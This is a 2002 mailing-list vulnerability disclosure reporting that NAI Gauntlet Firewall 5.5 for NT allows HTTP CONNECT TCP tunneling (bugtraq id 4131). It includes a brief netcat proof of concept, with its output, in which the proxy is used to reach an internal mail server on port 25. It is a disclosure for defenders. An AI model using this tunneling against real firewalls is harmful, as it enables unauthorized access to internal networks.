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NAI Gauntlet Firewall 5.5 for NT (Multiple Vendor HTTP CONNECT TCP Tunnel Vulnerability (bugtraq id 4131)
From: "Rashed Alabbar" <rashed.alabbar () datafort net>
Date: Thu, 28 Feb 2002 18:33:26 +0400

Hi all,

    I found some vulnerabilities on the NAI Gauntlet Firewall 5.5 on NT
4. These vulnerabilities were found in other firewalls, specifically
proxy firewalls, and I tried them on the Gauntlet, it worked.

I don't know if this was published earlier or not, but here it goes:

Vulnerability:
- Multiple Vendor HTTP CONNECT TCP Tunnel Vulnerability (bugtraq id
4131)

Examples: (I'm using Volker Tanger [volker.tanger () discon de]'s email:
"CheckPoint FW1 HTTP Security Hole" example as a template for my
example)

Client = x.x.x.x
Gauntlet = y.y.y.y
Internal Mailserver = z.z.z.z

nc -v -n y.y.y.y 80
(UNKNOWN) [y.y.y.y] 80 (?) open
CONNECT z.z.z.z:25 HTTP/1.0

HTTP/1.0 200 OK

mail server banner


That's it!


Rashed Alabbar
Engineer\ Security Management and Operations
Security Operations Center
Data Fort - Total Security Solutions
Dubai Internet City
P.O. Box: 500006, Dubai, United Arab Emirates
Email:   rashed.alabbar () datafort net
http://www.datafort.net
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